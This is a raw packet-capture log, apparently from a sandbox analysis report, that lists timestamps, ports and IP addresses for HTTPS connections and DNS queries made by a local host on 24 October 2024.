Oct 24, 2024 00:28:08.462749004 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.462810993 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.463395119 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.463418961 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.463495970 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.463501930 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.463634968 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.463876009 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.463943958 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.463962078 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.463972092 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.464010954 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.464046955 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.464139938 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.464154959 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.464189053 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.464194059 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:11.960323095 CEST	49797	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:11.960351944 CEST	443	49797	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:11.960504055 CEST	49797	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:11.962029934 CEST	49797	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:11.962044954 CEST	443	49797	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:12.701745987 CEST	443	49797	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:12.702353954 CEST	49797	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:12.702374935 CEST	443	49797	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:12.703246117 CEST	49797	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:12.703255892 CEST	443	49797	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:12.836993933 CEST	443	49797	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:12.837018013 CEST	443	49797	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:12.837115049 CEST	443	49797	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:12.837168932 CEST	49797	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:12.837197065 CEST	49797	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:12.837447882 CEST	49797	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:12.837462902 CEST	443	49797	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:12.837476015 CEST	49797	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:12.837481022 CEST	443	49797	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:30.970920086 CEST	49798	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:30.970974922 CEST	443	49798	204.79.197.200	192.168.2.16
Oct 24, 2024 00:28:30.971090078 CEST	49798	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:30.971829891 CEST	49798	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:30.971843004 CEST	443	49798	204.79.197.200	192.168.2.16
Oct 24, 2024 00:28:31.702634096 CEST	443	49798	204.79.197.200	192.168.2.16
Oct 24, 2024 00:28:31.702714920 CEST	49798	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:31.703422070 CEST	443	49798	204.79.197.200	192.168.2.16
Oct 24, 2024 00:28:31.703490973 CEST	49798	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:31.704956055 CEST	49798	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:31.704962015 CEST	443	49798	204.79.197.200	192.168.2.16
Oct 24, 2024 00:28:31.705220938 CEST	443	49798	204.79.197.200	192.168.2.16
Oct 24, 2024 00:28:31.705277920 CEST	49798	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:31.705734968 CEST	49798	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:31.705760002 CEST	443	49798	204.79.197.200	192.168.2.16
Oct 24, 2024 00:28:31.705884933 CEST	49798	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:31.705913067 CEST	443	49798	204.79.197.200	192.168.2.16
Oct 24, 2024 00:28:31.871398926 CEST	443	49798	204.79.197.200	192.168.2.16
Oct 24, 2024 00:28:31.871484041 CEST	49798	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:31.872195959 CEST	443	49798	204.79.197.200	192.168.2.16
Oct 24, 2024 00:28:31.872199059 CEST	49798	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:31.872262955 CEST	443	49798	204.79.197.200	192.168.2.16
Oct 24, 2024 00:28:31.872312069 CEST	49798	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:31.872312069 CEST	49798	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:33.188281059 CEST	49799	443	192.168.2.16	152.199.19.161
Oct 24, 2024 00:28:33.188330889 CEST	443	49799	152.199.19.161	192.168.2.16
Oct 24, 2024 00:28:33.188425064 CEST	49799	443	192.168.2.16	152.199.19.161
Oct 24, 2024 00:28:33.188760996 CEST	49799	443	192.168.2.16	152.199.19.161
Oct 24, 2024 00:28:33.188774109 CEST	443	49799	152.199.19.161	192.168.2.16
Oct 24, 2024 00:28:34.244184017 CEST	443	49799	152.199.19.161	192.168.2.16
Oct 24, 2024 00:28:34.244314909 CEST	49799	443	192.168.2.16	152.199.19.161
Oct 24, 2024 00:28:34.244999886 CEST	443	49799	152.199.19.161	192.168.2.16
Oct 24, 2024 00:28:34.245290995 CEST	49799	443	192.168.2.16	152.199.19.161
Oct 24, 2024 00:28:34.248675108 CEST	49799	443	192.168.2.16	152.199.19.161
Oct 24, 2024 00:28:34.248675108 CEST	49799	443	192.168.2.16	152.199.19.161
Oct 24, 2024 00:28:34.248683929 CEST	443	49799	152.199.19.161	192.168.2.16
Oct 24, 2024 00:28:34.248699903 CEST	443	49799	152.199.19.161	192.168.2.16
Oct 24, 2024 00:28:34.248976946 CEST	443	49799	152.199.19.161	192.168.2.16
Oct 24, 2024 00:28:34.249069929 CEST	49799	443	192.168.2.16	152.199.19.161
Oct 24, 2024 00:28:34.484966993 CEST	443	49799	152.199.19.161	192.168.2.16
Oct 24, 2024 00:28:34.485038042 CEST	49799	443	192.168.2.16	152.199.19.161
Oct 24, 2024 00:28:34.485060930 CEST	443	49799	152.199.19.161	192.168.2.16
Oct 24, 2024 00:28:34.485073090 CEST	443	49799	152.199.19.161	192.168.2.16
Oct 24, 2024 00:28:34.485116959 CEST	49799	443	192.168.2.16	152.199.19.161
Oct 24, 2024 00:28:34.485910892 CEST	49799	443	192.168.2.16	152.199.19.161
Oct 24, 2024 00:28:34.485924006 CEST	443	49799	152.199.19.161	192.168.2.16
Oct 24, 2024 00:28:34.488956928 CEST	49800	443	192.168.2.16	152.199.19.161
Oct 24, 2024 00:28:34.488996029 CEST	443	49800	152.199.19.161	192.168.2.16
Oct 24, 2024 00:28:34.489054918 CEST	49800	443	192.168.2.16	152.199.19.161
Oct 24, 2024 00:28:34.489298105 CEST	49800	443	192.168.2.16	152.199.19.161
Oct 24, 2024 00:28:34.489312887 CEST	443	49800	152.199.19.161	192.168.2.16
Oct 24, 2024 00:28:35.541277885 CEST	443	49800	152.199.19.161	192.168.2.16
Oct 24, 2024 00:28:35.541670084 CEST	49800	443	192.168.2.16	152.199.19.161
Oct 24, 2024 00:28:35.542067051 CEST	49800	443	192.168.2.16	152.199.19.161
Oct 24, 2024 00:28:35.542073965 CEST	443	49800	152.199.19.161	192.168.2.16
Oct 24, 2024 00:28:35.542540073 CEST	49800	443	192.168.2.16	152.199.19.161
Oct 24, 2024 00:28:35.542543888 CEST	443	49800	152.199.19.161	192.168.2.16
Oct 24, 2024 00:28:35.791527987 CEST	443	49800	152.199.19.161	192.168.2.16
Oct 24, 2024 00:28:35.791618109 CEST	443	49800	152.199.19.161	192.168.2.16
Oct 24, 2024 00:28:35.791831017 CEST	49800	443	192.168.2.16	152.199.19.161
Oct 24, 2024 00:28:35.791902065 CEST	49800	443	192.168.2.16	152.199.19.161
Oct 24, 2024 00:28:35.795825958 CEST	49800	443	192.168.2.16	152.199.19.161
Oct 24, 2024 00:28:35.795867920 CEST	443	49800	152.199.19.161	192.168.2.16
Oct 24, 2024 00:28:35.806873083 CEST	49801	443	192.168.2.16	144.2.14.25
Oct 24, 2024 00:28:35.806935072 CEST	443	49801	144.2.14.25	192.168.2.16
Oct 24, 2024 00:28:35.807009935 CEST	49801	443	192.168.2.16	144.2.14.25
Oct 24, 2024 00:28:35.807390928 CEST	49801	443	192.168.2.16	144.2.14.25
Oct 24, 2024 00:28:35.807408094 CEST	443	49801	144.2.14.25	192.168.2.16
Oct 24, 2024 00:28:35.961894035 CEST	49802	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:35.961937904 CEST	443	49802	204.79.197.200	192.168.2.16
Oct 24, 2024 00:28:35.962028980 CEST	49802	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:35.962328911 CEST	49802	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:35.962341070 CEST	443	49802	204.79.197.200	192.168.2.16
Oct 24, 2024 00:28:36.540225029 CEST	443	49801	144.2.14.25	192.168.2.16
Oct 24, 2024 00:28:36.540369987 CEST	49801	443	192.168.2.16	144.2.14.25
Oct 24, 2024 00:28:36.541079998 CEST	443	49801	144.2.14.25	192.168.2.16
Oct 24, 2024 00:28:36.541161060 CEST	49801	443	192.168.2.16	144.2.14.25
Oct 24, 2024 00:28:36.544703960 CEST	49801	443	192.168.2.16	144.2.14.25
Oct 24, 2024 00:28:36.544717073 CEST	443	49801	144.2.14.25	192.168.2.16
Oct 24, 2024 00:28:36.544929981 CEST	49801	443	192.168.2.16	144.2.14.25
Oct 24, 2024 00:28:36.544939041 CEST	443	49801	144.2.14.25	192.168.2.16
Oct 24, 2024 00:28:36.545047045 CEST	443	49801	144.2.14.25	192.168.2.16
Oct 24, 2024 00:28:36.545164108 CEST	49801	443	192.168.2.16	144.2.14.25
Oct 24, 2024 00:28:36.707446098 CEST	443	49802	204.79.197.200	192.168.2.16
Oct 24, 2024 00:28:36.707556963 CEST	49802	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:36.708061934 CEST	49802	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:36.708076000 CEST	443	49802	204.79.197.200	192.168.2.16
Oct 24, 2024 00:28:36.708349943 CEST	49802	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:36.708358049 CEST	443	49802	204.79.197.200	192.168.2.16
Oct 24, 2024 00:28:36.708462000 CEST	49802	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:36.708471060 CEST	443	49802	204.79.197.200	192.168.2.16
Oct 24, 2024 00:28:36.736946106 CEST	443	49801	144.2.14.25	192.168.2.16
Oct 24, 2024 00:28:36.737096071 CEST	443	49801	144.2.14.25	192.168.2.16
Oct 24, 2024 00:28:36.737132072 CEST	49801	443	192.168.2.16	144.2.14.25
Oct 24, 2024 00:28:36.737200022 CEST	49801	443	192.168.2.16	144.2.14.25
Oct 24, 2024 00:28:36.738884926 CEST	49801	443	192.168.2.16	144.2.14.25
Oct 24, 2024 00:28:36.738903046 CEST	443	49801	144.2.14.25	192.168.2.16
Oct 24, 2024 00:28:36.741148949 CEST	49803	443	192.168.2.16	144.2.14.25
Oct 24, 2024 00:28:36.741173983 CEST	443	49803	144.2.14.25	192.168.2.16
Oct 24, 2024 00:28:36.741301060 CEST	49803	443	192.168.2.16	144.2.14.25
Oct 24, 2024 00:28:36.741501093 CEST	49803	443	192.168.2.16	144.2.14.25
Oct 24, 2024 00:28:36.741512060 CEST	443	49803	144.2.14.25	192.168.2.16
Oct 24, 2024 00:28:36.873246908 CEST	443	49802	204.79.197.200	192.168.2.16
Oct 24, 2024 00:28:36.873317003 CEST	49802	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:36.873658895 CEST	49802	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:36.873718977 CEST	443	49802	204.79.197.200	192.168.2.16
Oct 24, 2024 00:28:36.873773098 CEST	49802	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:37.450795889 CEST	443	49803	144.2.14.25	192.168.2.16
Oct 24, 2024 00:28:37.450876951 CEST	49803	443	192.168.2.16	144.2.14.25
Oct 24, 2024 00:28:37.451366901 CEST	49803	443	192.168.2.16	144.2.14.25
Oct 24, 2024 00:28:37.451379061 CEST	443	49803	144.2.14.25	192.168.2.16
Oct 24, 2024 00:28:37.451615095 CEST	49803	443	192.168.2.16	144.2.14.25
Oct 24, 2024 00:28:37.451622009 CEST	443	49803	144.2.14.25	192.168.2.16
Oct 24, 2024 00:28:37.644963026 CEST	443	49803	144.2.14.25	192.168.2.16
Oct 24, 2024 00:28:37.645047903 CEST	49803	443	192.168.2.16	144.2.14.25
Oct 24, 2024 00:28:37.645072937 CEST	443	49803	144.2.14.25	192.168.2.16
Oct 24, 2024 00:28:37.645116091 CEST	49803	443	192.168.2.16	144.2.14.25
Oct 24, 2024 00:28:37.645123005 CEST	443	49803	144.2.14.25	192.168.2.16
Oct 24, 2024 00:28:37.645138025 CEST	443	49803	144.2.14.25	192.168.2.16
Oct 24, 2024 00:28:37.645163059 CEST	49803	443	192.168.2.16	144.2.14.25
Oct 24, 2024 00:28:37.645195961 CEST	49803	443	192.168.2.16	144.2.14.25
Oct 24, 2024 00:28:37.646817923 CEST	49803	443	192.168.2.16	144.2.14.25
Oct 24, 2024 00:28:37.646832943 CEST	443	49803	144.2.14.25	192.168.2.16
Oct 24, 2024 00:28:37.682120085 CEST	49804	443	192.168.2.16	150.171.44.254
Oct 24, 2024 00:28:37.682173967 CEST	443	49804	150.171.44.254	192.168.2.16
Oct 24, 2024 00:28:37.682696104 CEST	49804	443	192.168.2.16	150.171.44.254
Oct 24, 2024 00:28:37.682696104 CEST	49804	443	192.168.2.16	150.171.44.254
Oct 24, 2024 00:28:37.682727098 CEST	443	49804	150.171.44.254	192.168.2.16
Oct 24, 2024 00:28:38.452394009 CEST	443	49804	150.171.44.254	192.168.2.16
Oct 24, 2024 00:28:38.452542067 CEST	49804	443	192.168.2.16	150.171.44.254
Oct 24, 2024 00:28:38.455280066 CEST	49804	443	192.168.2.16	150.171.44.254
Oct 24, 2024 00:28:38.455288887 CEST	443	49804	150.171.44.254	192.168.2.16
Oct 24, 2024 00:28:38.455436945 CEST	49804	443	192.168.2.16	150.171.44.254
Oct 24, 2024 00:28:38.455444098 CEST	443	49804	150.171.44.254	192.168.2.16
Oct 24, 2024 00:28:38.455678940 CEST	443	49804	150.171.44.254	192.168.2.16
Oct 24, 2024 00:28:38.455761909 CEST	49804	443	192.168.2.16	150.171.44.254
Oct 24, 2024 00:28:38.592986107 CEST	443	49804	150.171.44.254	192.168.2.16
Oct 24, 2024 00:28:38.593065977 CEST	49804	443	192.168.2.16	150.171.44.254
Oct 24, 2024 00:28:38.593086004 CEST	443	49804	150.171.44.254	192.168.2.16
Oct 24, 2024 00:28:38.593138933 CEST	49804	443	192.168.2.16	150.171.44.254
Oct 24, 2024 00:28:38.593560934 CEST	49804	443	192.168.2.16	150.171.44.254
Oct 24, 2024 00:28:38.593610048 CEST	443	49804	150.171.44.254	192.168.2.16
Oct 24, 2024 00:28:38.593673944 CEST	49804	443	192.168.2.16	150.171.44.254
Oct 24, 2024 00:28:38.595355034 CEST	49805	443	192.168.2.16	150.171.44.254
Oct 24, 2024 00:28:38.595398903 CEST	443	49805	150.171.44.254	192.168.2.16
Oct 24, 2024 00:28:38.595535040 CEST	49805	443	192.168.2.16	150.171.44.254
Oct 24, 2024 00:28:38.595735073 CEST	49805	443	192.168.2.16	150.171.44.254
Oct 24, 2024 00:28:38.595748901 CEST	443	49805	150.171.44.254	192.168.2.16
Oct 24, 2024 00:28:39.364105940 CEST	443	49805	150.171.44.254	192.168.2.16
Oct 24, 2024 00:28:39.364264011 CEST	49805	443	192.168.2.16	150.171.44.254
Oct 24, 2024 00:28:39.375996113 CEST	49805	443	192.168.2.16	150.171.44.254
Oct 24, 2024 00:28:39.376019955 CEST	443	49805	150.171.44.254	192.168.2.16
Oct 24, 2024 00:28:39.376207113 CEST	49805	443	192.168.2.16	150.171.44.254
Oct 24, 2024 00:28:39.376224041 CEST	443	49805	150.171.44.254	192.168.2.16
Oct 24, 2024 00:28:39.376368999 CEST	443	49805	150.171.44.254	192.168.2.16
Oct 24, 2024 00:28:39.376456976 CEST	49805	443	192.168.2.16	150.171.44.254
Oct 24, 2024 00:28:39.514441967 CEST	443	49805	150.171.44.254	192.168.2.16
Oct 24, 2024 00:28:39.514549971 CEST	49805	443	192.168.2.16	150.171.44.254
Oct 24, 2024 00:28:39.514568090 CEST	443	49805	150.171.44.254	192.168.2.16
Oct 24, 2024 00:28:39.514843941 CEST	49805	443	192.168.2.16	150.171.44.254
Oct 24, 2024 00:28:39.515122890 CEST	49805	443	192.168.2.16	150.171.44.254
Oct 24, 2024 00:28:39.515160084 CEST	443	49805	150.171.44.254	192.168.2.16
Oct 24, 2024 00:28:39.515343904 CEST	443	49805	150.171.44.254	192.168.2.16
Oct 24, 2024 00:28:39.515399933 CEST	49805	443	192.168.2.16	150.171.44.254
Oct 24, 2024 00:28:39.515399933 CEST	49805	443	192.168.2.16	150.171.44.254
Oct 24, 2024 00:28:39.517844915 CEST	49806	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:28:39.517883062 CEST	443	49806	204.79.197.222	192.168.2.16
Oct 24, 2024 00:28:39.518205881 CEST	49806	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:28:39.518205881 CEST	49806	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:28:39.518237114 CEST	443	49806	204.79.197.222	192.168.2.16
Oct 24, 2024 00:28:40.261950970 CEST	443	49806	204.79.197.222	192.168.2.16
Oct 24, 2024 00:28:40.262062073 CEST	49806	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:28:40.262552023 CEST	49806	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:28:40.262558937 CEST	443	49806	204.79.197.222	192.168.2.16
Oct 24, 2024 00:28:40.262764931 CEST	49806	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:28:40.262770891 CEST	443	49806	204.79.197.222	192.168.2.16
Oct 24, 2024 00:28:40.395895958 CEST	443	49806	204.79.197.222	192.168.2.16
Oct 24, 2024 00:28:40.396606922 CEST	443	49806	204.79.197.222	192.168.2.16
Oct 24, 2024 00:28:40.396670103 CEST	49806	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:28:40.396670103 CEST	49806	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:28:40.398204088 CEST	49806	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:28:40.398216963 CEST	443	49806	204.79.197.222	192.168.2.16
Oct 24, 2024 00:28:42.769854069 CEST	49807	443	192.168.2.16	20.140.56.69
Oct 24, 2024 00:28:42.769896984 CEST	443	49807	20.140.56.69	192.168.2.16
Oct 24, 2024 00:28:42.770204067 CEST	49807	443	192.168.2.16	20.140.56.69
Oct 24, 2024 00:28:42.772059917 CEST	49807	443	192.168.2.16	20.140.56.69
Oct 24, 2024 00:28:42.772098064 CEST	443	49807	20.140.56.69	192.168.2.16
Oct 24, 2024 00:28:43.538269997 CEST	443	49807	20.140.56.69	192.168.2.16
Oct 24, 2024 00:28:43.538508892 CEST	49807	443	192.168.2.16	20.140.56.69
Oct 24, 2024 00:28:43.541548014 CEST	49807	443	192.168.2.16	20.140.56.69
Oct 24, 2024 00:28:43.541568995 CEST	443	49807	20.140.56.69	192.168.2.16
Oct 24, 2024 00:28:43.541757107 CEST	49807	443	192.168.2.16	20.140.56.69
Oct 24, 2024 00:28:43.541769028 CEST	443	49807	20.140.56.69	192.168.2.16
Oct 24, 2024 00:28:43.541893959 CEST	443	49807	20.140.56.69	192.168.2.16
Oct 24, 2024 00:28:43.541961908 CEST	49807	443	192.168.2.16	20.140.56.69
Oct 24, 2024 00:28:43.673918009 CEST	443	49807	20.140.56.69	192.168.2.16
Oct 24, 2024 00:28:43.674046993 CEST	443	49807	20.140.56.69	192.168.2.16
Oct 24, 2024 00:28:43.674062014 CEST	49807	443	192.168.2.16	20.140.56.69
Oct 24, 2024 00:28:43.674221992 CEST	49807	443	192.168.2.16	20.140.56.69
Oct 24, 2024 00:28:43.675303936 CEST	49807	443	192.168.2.16	20.140.56.69
Oct 24, 2024 00:28:43.675334930 CEST	443	49807	20.140.56.69	192.168.2.16
Oct 24, 2024 00:28:43.677777052 CEST	49808	443	192.168.2.16	20.140.56.69
Oct 24, 2024 00:28:43.677815914 CEST	443	49808	20.140.56.69	192.168.2.16
Oct 24, 2024 00:28:43.677936077 CEST	49808	443	192.168.2.16	20.140.56.69
Oct 24, 2024 00:28:43.678129911 CEST	49808	443	192.168.2.16	20.140.56.69
Oct 24, 2024 00:28:43.678145885 CEST	443	49808	20.140.56.69	192.168.2.16
Oct 24, 2024 00:28:44.440774918 CEST	443	49808	20.140.56.69	192.168.2.16
Oct 24, 2024 00:28:44.440844059 CEST	49808	443	192.168.2.16	20.140.56.69
Oct 24, 2024 00:28:44.441334963 CEST	49808	443	192.168.2.16	20.140.56.69
Oct 24, 2024 00:28:44.441349030 CEST	443	49808	20.140.56.69	192.168.2.16
Oct 24, 2024 00:28:44.441536903 CEST	49808	443	192.168.2.16	20.140.56.69
Oct 24, 2024 00:28:44.441545010 CEST	443	49808	20.140.56.69	192.168.2.16
Oct 24, 2024 00:28:44.582350969 CEST	443	49808	20.140.56.69	192.168.2.16
Oct 24, 2024 00:28:44.582422018 CEST	49808	443	192.168.2.16	20.140.56.69
Oct 24, 2024 00:28:44.582431078 CEST	443	49808	20.140.56.69	192.168.2.16
Oct 24, 2024 00:28:44.582489014 CEST	49808	443	192.168.2.16	20.140.56.69
Oct 24, 2024 00:28:44.583183050 CEST	49808	443	192.168.2.16	20.140.56.69
Oct 24, 2024 00:28:44.583205938 CEST	443	49808	20.140.56.69	192.168.2.16
Oct 24, 2024 00:28:44.597824097 CEST	49809	443	192.168.2.16	52.123.128.254
Oct 24, 2024 00:28:44.597858906 CEST	443	49809	52.123.128.254	192.168.2.16
Oct 24, 2024 00:28:44.597933054 CEST	49809	443	192.168.2.16	52.123.128.254
Oct 24, 2024 00:28:44.598328114 CEST	49809	443	192.168.2.16	52.123.128.254
Oct 24, 2024 00:28:44.598336935 CEST	443	49809	52.123.128.254	192.168.2.16
Oct 24, 2024 00:28:45.330239058 CEST	443	49809	52.123.128.254	192.168.2.16
Oct 24, 2024 00:28:45.330359936 CEST	49809	443	192.168.2.16	52.123.128.254
Oct 24, 2024 00:28:45.335673094 CEST	49809	443	192.168.2.16	52.123.128.254
Oct 24, 2024 00:28:45.335695982 CEST	443	49809	52.123.128.254	192.168.2.16
Oct 24, 2024 00:28:45.335895061 CEST	49809	443	192.168.2.16	52.123.128.254
Oct 24, 2024 00:28:45.335907936 CEST	443	49809	52.123.128.254	192.168.2.16
Oct 24, 2024 00:28:45.335999966 CEST	443	49809	52.123.128.254	192.168.2.16
Oct 24, 2024 00:28:45.336466074 CEST	49809	443	192.168.2.16	52.123.128.254
Oct 24, 2024 00:28:45.465732098 CEST	443	49809	52.123.128.254	192.168.2.16
Oct 24, 2024 00:28:45.465835094 CEST	49809	443	192.168.2.16	52.123.128.254
Oct 24, 2024 00:28:45.465863943 CEST	443	49809	52.123.128.254	192.168.2.16
Oct 24, 2024 00:28:45.465918064 CEST	49809	443	192.168.2.16	52.123.128.254
Oct 24, 2024 00:28:45.466739893 CEST	49809	443	192.168.2.16	52.123.128.254
Oct 24, 2024 00:28:45.466775894 CEST	443	49809	52.123.128.254	192.168.2.16
Oct 24, 2024 00:28:45.466840982 CEST	49809	443	192.168.2.16	52.123.128.254
Oct 24, 2024 00:28:45.469193935 CEST	49810	443	192.168.2.16	52.123.128.254
Oct 24, 2024 00:28:45.469244003 CEST	443	49810	52.123.128.254	192.168.2.16
Oct 24, 2024 00:28:45.469335079 CEST	49810	443	192.168.2.16	52.123.128.254
Oct 24, 2024 00:28:45.469626904 CEST	49810	443	192.168.2.16	52.123.128.254
Oct 24, 2024 00:28:45.469639063 CEST	443	49810	52.123.128.254	192.168.2.16
Oct 24, 2024 00:28:45.766611099 CEST	49811	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:45.766666889 CEST	443	49811	204.79.197.200	192.168.2.16
Oct 24, 2024 00:28:45.766746044 CEST	49811	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:45.767123938 CEST	49811	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:45.767136097 CEST	443	49811	204.79.197.200	192.168.2.16
Oct 24, 2024 00:28:46.310746908 CEST	443	49810	52.123.128.254	192.168.2.16
Oct 24, 2024 00:28:46.310846090 CEST	49810	443	192.168.2.16	52.123.128.254
Oct 24, 2024 00:28:46.502085924 CEST	443	49811	204.79.197.200	192.168.2.16
Oct 24, 2024 00:28:46.502187014 CEST	49811	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:28:46.502873898 CEST	443	49811	204.79.197.200	192.168.2.16
Oct 24, 2024 00:28:46.502931118 CEST	49811	443	192.168.2.16	204.79.197.200

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 00:26:40.552783012 CEST	53	58179	1.1.1.1	192.168.2.16
Oct 24, 2024 00:26:41.190061092 CEST	64856	53	192.168.2.16	1.1.1.1
Oct 24, 2024 00:26:41.190984011 CEST	50274	53	192.168.2.16	1.1.1.1
Oct 24, 2024 00:26:41.198964119 CEST	53	64856	1.1.1.1	192.168.2.16
Oct 24, 2024 00:26:41.201534033 CEST	53	50274	1.1.1.1	192.168.2.16
Oct 24, 2024 00:26:41.207904100 CEST	53182	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:41.514122009 CEST	53182	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:41.812875986 CEST	443	53182	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:41.812892914 CEST	443	53182	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:41.816797972 CEST	443	53182	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:41.818192005 CEST	443	53182	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:41.818202019 CEST	443	53182	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:41.819192886 CEST	53182	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:41.819385052 CEST	53182	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:41.821069002 CEST	53182	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:41.821460962 CEST	53182	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:41.822046041 CEST	53182	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:41.823117018 CEST	58597	53	192.168.2.16	1.1.1.1
Oct 24, 2024 00:26:41.823287010 CEST	65132	53	192.168.2.16	1.1.1.1
Oct 24, 2024 00:26:41.832011938 CEST	53	58597	1.1.1.1	192.168.2.16
Oct 24, 2024 00:26:41.834716082 CEST	53	65132	1.1.1.1	192.168.2.16
Oct 24, 2024 00:26:41.947576046 CEST	443	53182	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:41.947583914 CEST	443	53182	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:41.947596073 CEST	443	53182	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:41.947601080 CEST	443	53182	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:41.948148966 CEST	443	53182	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:41.951656103 CEST	53182	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:41.951689959 CEST	53182	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:41.951915979 CEST	53182	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:42.077826023 CEST	443	53182	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:42.117960930 CEST	53182	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:42.194988966 CEST	443	53182	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:42.195000887 CEST	443	53182	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:42.195338011 CEST	53182	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:42.195523977 CEST	53182	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:42.198102951 CEST	53182	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:42.199382067 CEST	62374	53	192.168.2.16	1.1.1.1
Oct 24, 2024 00:26:42.199733973 CEST	51544	53	192.168.2.16	1.1.1.1
Oct 24, 2024 00:26:42.213268042 CEST	53	51544	1.1.1.1	192.168.2.16
Oct 24, 2024 00:26:42.213274956 CEST	53	62374	1.1.1.1	192.168.2.16
Oct 24, 2024 00:26:42.324745893 CEST	443	53182	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:45.185507059 CEST	62970	53	192.168.2.16	1.1.1.1
